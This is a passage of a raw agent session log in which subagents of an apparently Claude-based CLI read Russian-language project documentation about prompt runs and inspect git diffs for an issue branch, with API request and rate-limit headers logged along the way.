\u0438\u0434\u0435\u043c\u043f\u043e\u0442\u0435\u043d\u0442\u043d\u043e\u0441\u0442\u0438. \u041f\u0440\u043e\u0431\u044b `P10`\u2026`P12` \u2014 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 runner \u0442\u043e\u0436\u0435 \u043c\u043e\u0436\u0435\u0442\\n  \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043b\u043e\u0436\u043d\u043e\u0435 \u043e\u0449\u0443\u0449\u0435\u043d\u0438\u0435 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0438, \u0435\u0441\u043b\u0438 \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0435 \u0442\u043e.\\n\\n## \u041a\u043e\u0440\u043d\u0435\u0432\u044b\u0435 \u043f\u0440\u0438\u0447\u0438\u043d\u044b: \u0434\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\\n\\n\u041f\u0435\u0440\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0448\u0435\u0441\u0442\u044c \u043a\u043e\u0440\u043d\u0435\u0432\u044b\u0445 \u043f\u0440\u0438\u0447\u0438\u043d. \u0421\u043b\u043e\u0438 1\u20133 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u044e\u0442 \u0442\u0440\u0438.\\n\\n7. **\u0423 \u0440\u043e\u043b\u0438 \u00ab\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u00bb \u043d\u0435\u0442 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430.** \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430\u0437\u0432\u0430\u043b\u0430 \u0440\u043e\u043b\u044c, \u043d\u043e\\n   \u043d\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c \u0438 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f, \u0430 \u0432\u0435\u0440\u0434\u0438\u043a\u0442 `M4` \u0440\u0435\u0448\u0438\u043b \u0432\u043e\u043f\u0440\u043e\u0441 \u043f\u043e\u043a\u0443\u043f\u043a\u0438\",\n[2026-09-29T07:44:39.536Z] [INFO]       \"numLines\": 413,\n[2026-09-29T07:44:39.536Z] [INFO]       \"startLine\": 1,\n[2026-09-29T07:44:39.536Z] [INFO]       \"totalLines\": 509,\n[2026-09-29T07:44:39.536Z] [INFO]       \"truncatedByTokenCap\": [REDACTED]\n[2026-09-29T07:44:39.536Z] [INFO]     }\n[2026-09-29T07:44:39.536Z] [INFO]   }\n[2026-09-29T07:44:39.536Z] [INFO] }\n[2026-09-29T07:44:39.593Z] [STDOUT] [log_2c4eec] sending request {\n[2026-09-29T07:44:39.602Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:44:39.607Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:39.615Z] [STDOUT]   options: {\n[2026-09-29T07:44:39.619Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:44:39.623Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:44:39.632Z] [STDOUT]     body: {\n[2026-09-29T07:44:39.640Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:44:39.647Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:44:39.650Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:44:39.660Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:44:39.665Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:44:39.668Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:44:39.677Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:44:39.690Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:44:39.699Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:44:39.704Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:44:39.718Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:44:39.726Z] [STDOUT]       stream: true,\n[2026-09-29T07:44:39.742Z] [STDOUT]     },\n[2026-09-29T07:44:39.755Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:44:39.759Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:44:39.773Z] [STDOUT]       aborted: false,\n[2026-09-29T07:44:39.784Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:44:39.791Z] [STDOUT]       onabort: null,\n[2026-09-29T07:44:39.796Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:44:39.805Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:44:39.810Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:44:39.827Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:44:39.837Z] [STDOUT]     },\n[2026-09-29T07:44:39.849Z] [STDOUT]     stream: true,\n[2026-09-29T07:44:39.862Z] [STDOUT]   },\n[2026-09-29T07:44:39.869Z] [STDOUT]   headers: {\n[2026-09-29T07:44:39.878Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:44:39.886Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:44:39.897Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:44:39.909Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:44:39.926Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:44:39.935Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:44:39.944Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:44:39.957Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:44:39.975Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:44:39.982Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Read=234\",\n[2026-09-29T07:44:39.988Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:44:39.994Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:44:40.002Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:40.009Z] [STDOUT]     \"x-client-request-id\": \"f07c1fb5-b2a8-48f9-ba05-9f949b1fa313\",\n[2026-09-29T07:44:40.021Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:44:40.033Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:44:40.040Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:44:40.049Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:44:40.057Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:44:40.061Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:44:40.064Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:44:40.069Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:44:40.074Z] [STDOUT]   },\n[2026-09-29T07:44:40.081Z] [STDOUT] }\n[2026-09-29T07:44:40.089Z] [INFO] {\n[2026-09-29T07:44:40.089Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:44:40.089Z] [INFO]   \"message\": {\n[2026-09-29T07:44:40.089Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:44:40.089Z] [INFO]     \"id\": \"msg_011CfXMhHLh7N34YchACBcQf\",\n[2026-09-29T07:44:40.089Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:44:40.089Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:44:40.089Z] [INFO]     \"content\": [\n[2026-09-29T07:44:40.089Z] [INFO]       {\n[2026-09-29T07:44:40.089Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:44:40.089Z] [INFO]         \"id\": \"toolu_01YcM1CxK6pFcict24td2771\",\n[2026-09-29T07:44:40.089Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:44:40.089Z] [INFO]         \"input\": {\n[2026-09-29T07:44:40.089Z] [INFO]           \"command\": \"cat /home/box/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tool-results/bd81ljdck.txt | sed -n 20,120p\",\n[2026-09-29T07:44:40.089Z] [INFO]           \"description\": \"Read runs README part\"\n[2026-09-29T07:44:40.089Z] [INFO]         },\n[2026-09-29T07:44:40.089Z] [INFO]         \"caller\": {\n[2026-09-29T07:44:40.089Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:44:40.089Z] [INFO]         }\n[2026-09-29T07:44:40.089Z] [INFO]       }\n[2026-09-29T07:44:40.089Z] [INFO]     ],\n[2026-09-29T07:44:40.089Z] [INFO]     \"container\": null,\n[2026-09-29T07:44:40.089Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:44:40.089Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:44:40.089Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:44:40.089Z] [INFO]     \"usage\": {\n[2026-09-29T07:44:40.089Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:44:40.089Z] [INFO]       \"cache_creation_input_tokens\": 1070,\n[2026-09-29T07:44:40.089Z] [INFO]       \"cache_read_input_tokens\": 23633,\n[2026-09-29T07:44:40.089Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:44:40.089Z] [INFO]         \"ephemeral_5m_input_tokens\": 1070,\n[2026-09-29T07:44:40.089Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:44:40.089Z] [INFO]       },\n[2026-09-29T07:44:40.089Z] [INFO]       \"output_tokens\": 16,\n[2026-09-29T07:44:40.089Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:44:40.089Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:44:40.089Z] [INFO]     },\n[2026-09-29T07:44:40.089Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:44:40.089Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:44:40.089Z] [INFO]     \"context_management\": null\n[2026-09-29T07:44:40.089Z] [INFO]   },\n[2026-09-29T07:44:40.089Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:44:40.089Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:40.089Z] [INFO]   \"uuid\": \"293ba5b7-6a58-45f9-87f4-e359a2b7374d\",\n[2026-09-29T07:44:40.089Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:39.438Z\",\n[2026-09-29T07:44:40.089Z] [INFO]   \"request_id\": \"req_011CfXMhGuttdFCJU6UvCmRk\",\n[2026-09-29T07:44:40.089Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:40.089Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:44:40.089Z] [INFO] }\n[2026-09-29T07:44:40.105Z] [INFO] {\n[2026-09-29T07:44:40.105Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:44:40.105Z] [INFO]   \"subtype\": \"task_progress\",\n[2026-09-29T07:44:40.105Z] [INFO]   \"task_id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:44:40.105Z] [INFO]   \"tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:44:40.105Z] [INFO]   \"description\": \"Running Read runs README part\",\n[2026-09-29T07:44:40.105Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:40.105Z] [INFO]   \"usage\": {\n[2026-09-29T07:44:40.105Z] [INFO]     \"total_tokens\": 24851,\n[2026-09-29T07:44:40.105Z] [INFO]     \"tool_uses\": 6,\n[2026-09-29T07:44:40.105Z] [INFO]     \"duration_ms\": 17145\n[2026-09-29T07:44:40.105Z] [INFO]   },\n[2026-09-29T07:44:40.105Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:44:40.105Z] [INFO]   \"uuid\": \"ee129f24-fee3-4fe1-a4b4-64ace4dec318\",\n[2026-09-29T07:44:40.105Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:44:40.105Z] [INFO] }\n[2026-09-29T07:44:40.111Z] [STDOUT] [log_2c4eec, request-id: \"req_011CfXMhMXxaAgYKhWfVKz7E\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1134ms\n[2026-09-29T07:44:40.118Z] [STDOUT] [log_2c4eec] response start {\n[2026-09-29T07:44:40.122Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:40.128Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:40.141Z] [STDOUT]   headers: {\n[2026-09-29T07:44:40.154Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:40.165Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:40.178Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:40.190Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:40.198Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:40.204Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:40.215Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:40.226Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:40.264Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:40.269Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:40.280Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:40.285Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:40.300Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:40.317Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:40.330Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:40.343Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:40.354Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:40.366Z] [STDOUT]     \"cf-ray\": \"a4295d215ce129ad-FRA\",\n[2026-09-29T07:44:40.371Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:44:40.382Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:40.391Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:40.411Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:40.429Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:44:39 GMT\",\n[2026-09-29T07:44:40.440Z] [STDOUT]     \"request-id\": \"req_011CfXMhMXxaAgYKhWfVKz7E\",\n[2026-09-29T07:44:40.447Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:44:40.454Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:40.461Z] [STDOUT]     traceresponse: \"00-e2de3f7302996b6493db574cbb76b1d7-1418459d91e7d195-01\",\n[2026-09-29T07:44:40.470Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:40.480Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:44:40.486Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:40.488Z] [STDOUT]   },\n[2026-09-29T07:44:40.493Z] [STDOUT]   durationMs: 1134,\n[2026-09-29T07:44:40.499Z] [STDOUT] }\n[2026-09-29T07:44:40.504Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:44:40.509Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:44:39 GMT\",\n[2026-09-29T07:44:40.513Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:40.524Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:40.536Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:44:40.547Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:40.553Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:40.560Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:40.569Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:44:40.586Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:40.602Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:40.609Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:40.617Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:40.623Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:40.627Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:40.633Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:40.636Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:40.641Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:40.649Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:40.655Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:40.665Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:40.678Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:40.683Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:40.690Z] [STDOUT]   \"request-id\": \"req_011CfXMhMXxaAgYKhWfVKz7E\",\n[2026-09-29T07:44:40.697Z] [STDOUT]   \"traceresponse\": \"00-e2de3f7302996b6493db574cbb76b1d7-1418459d91e7d195-01\",\n[2026-09-29T07:44:40.703Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:40.705Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:40.710Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:44:40.724Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:40.737Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:40.742Z] [STDOUT]   \"cf-ray\": \"a4295d215ce129ad-FRA\",\n[2026-09-29T07:44:40.746Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:44:40.753Z] [STDOUT] [log_2c4eec] response parsed {\n[2026-09-29T07:44:40.758Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:40.766Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:40.771Z] [STDOUT]   body: X {\n[2026-09-29T07:44:40.784Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:44:40.793Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:44:40.797Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:44:40.808Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:44:40.812Z] [STDOUT]     },\n[2026-09-29T07:44:40.816Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:44:40.822Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:44:40.831Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:44:40.836Z] [STDOUT]   },\n[2026-09-29T07:44:40.844Z] [STDOUT]   durationMs: 1135,\n[2026-09-29T07:44:40.855Z] [STDOUT] }\n[2026-09-29T07:44:40.861Z] [INFO] {\n[2026-09-29T07:44:40.861Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:44:40.861Z] [INFO]   \"message\": {\n[2026-09-29T07:44:40.861Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:44:40.861Z] [INFO]     \"id\": \"msg_011CfXMhJ4r3mTEusbtNE7qJ\",\n[2026-09-29T07:44:40.861Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:44:40.861Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:44:40.861Z] [INFO]     \"content\": [\n[2026-09-29T07:44:40.861Z] [INFO]       {\n[2026-09-29T07:44:40.861Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:44:40.861Z] [INFO]         \"id\": \"toolu_0114rB8o75eiwaN4v8o8EDtu\",\n[2026-09-29T07:44:40.861Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:44:40.861Z] [INFO]         \"input\": {\n[2026-09-29T07:44:40.861Z] [INFO]           \"command\": \"git diff --stat main origin/issue-639-405767e7672e | tail -30; git merge-base main origin/issue-639-405767e7672e; git log --oneline main -1; git diff --stat main...origin/issue-639-405767e7672e | tail -30\",\n[2026-09-29T07:44:40.861Z] [INFO]           \"description\": \"Full diff stat vs branch\"\n[2026-09-29T07:44:40.861Z] [INFO]         },\n[2026-09-29T07:44:40.861Z] [INFO]         \"caller\": {\n[2026-09-29T07:44:40.861Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:44:40.861Z] [INFO]         }\n[2026-09-29T07:44:40.861Z] [INFO]       }\n[2026-09-29T07:44:40.861Z] [INFO]     ],\n[2026-09-29T07:44:40.861Z] [INFO]     \"container\": null,\n[2026-09-29T07:44:40.861Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:44:40.861Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:44:40.861Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:44:40.861Z] [INFO]     \"usage\": {\n[2026-09-29T07:44:40.861Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:44:40.861Z] [INFO]       \"cache_creation_input_tokens\": 565,\n[2026-09-29T07:44:40.861Z] [INFO]       \"cache_read_input_tokens\": 11031,\n[2026-09-29T07:44:40.861Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:44:40.861Z] [INFO]         \"ephemeral_5m_input_tokens\": 565,\n[2026-09-29T07:44:40.861Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:44:40.861Z] [INFO]       },\n[2026-09-29T07:44:40.861Z] [INFO]       \"output_tokens\": 16,\n[2026-09-29T07:44:40.861Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:44:40.861Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:44:40.861Z] [INFO]     },\n[2026-09-29T07:44:40.861Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:44:40.861Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:44:40.861Z] [INFO]     \"context_management\": null\n[2026-09-29T07:44:40.861Z] [INFO]   },\n[2026-09-29T07:44:40.861Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:44:40.861Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:40.861Z] [INFO]   \"uuid\": \"6ea1212b-fd45-436d-8537-b03d7aedd716\",\n[2026-09-29T07:44:40.861Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:39.864Z\",\n[2026-09-29T07:44:40.861Z] [INFO]   \"request_id\": \"req_011CfXMhHTPdDqPpMcvXMSf1\",\n[2026-09-29T07:44:40.861Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:40.861Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:44:40.861Z] [INFO] }\n[2026-09-29T07:44:40.876Z] [INFO] {\n[2026-09-29T07:44:40.876Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:44:40.876Z] [INFO]   \"subtype\": \"task_progress\",\n[2026-09-29T07:44:40.876Z] [INFO]   \"task_id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:44:40.876Z] [INFO]   \"tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:44:40.876Z] [INFO]   \"description\": \"Running Full diff stat vs branch\",\n[2026-09-29T07:44:40.876Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:40.876Z] [INFO]   \"usage\": {\n[2026-09-29T07:44:40.876Z] [INFO]     \"total_tokens\": 11688,\n[2026-09-29T07:44:40.876Z] [INFO]     \"tool_uses\": 3,\n[2026-09-29T07:44:40.876Z] [INFO]     \"duration_ms\": 10591\n[2026-09-29T07:44:40.876Z] [INFO]   },\n[2026-09-29T07:44:40.876Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:44:40.876Z] [INFO]   \"uuid\": \"b1c515c2-c5f5-4841-8659-74a22072f5e6\",\n[2026-09-29T07:44:40.876Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:44:40.876Z] [INFO] }\n[2026-09-29T07:44:41.029Z] [INFO] {\n[2026-09-29T07:44:41.029Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:44:41.029Z] [INFO]   \"message\": {\n[2026-09-29T07:44:41.029Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:44:41.029Z] [INFO]     \"content\": [\n[2026-09-29T07:44:41.029Z] [INFO]       {\n[2026-09-29T07:44:41.029Z] [INFO]         \"tool_use_id\": \"toolu_01YcM1CxK6pFcict24td2771\",\n[2026-09-29T07:44:41.029Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:44:41.029Z] [INFO]         \"content\": \"\u0417\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f, \u043a\u043e\u0433\u0434\u0430 \u043f\u0440\u043e\u0433\u043e\u043d \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435; \u043f\u0440\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u0438\u0438\\n\u0442\u043e\u043a\u0435\u043d\u043e\u0432 MUST \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c\u0441\u044f `token_method`, \u0430 \u043f\u0440\u0438 `success_rate` \u2014\\n`success_rate_basis` (\u043d\u0430 \u0447\u0451\u043c \u043f\u043e\u0441\u0447\u0438\u0442\u0430\u043d\u0430 \u0434\u043e\u043b\u044f). \u041f\u0440\u0438\u043c\u0435\u0440 \u2014\\n[`2026/RUN-0018/metadata.yaml`](2026/RUN-0018/metadata.yaml).\\n\\n## \u0422\u0438\u043f\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432\\n\\n| `run_type` | \u0417\u0430\u0447\u0435\u043c \u043f\u0440\u043e\u0433\u043e\u043d | \u0427\u0442\u043e \u043a\u043b\u0430\u0434\u0451\u043c \u0432 `outputs/` | \u041f\u043e \u0447\u0435\u043c\u0443 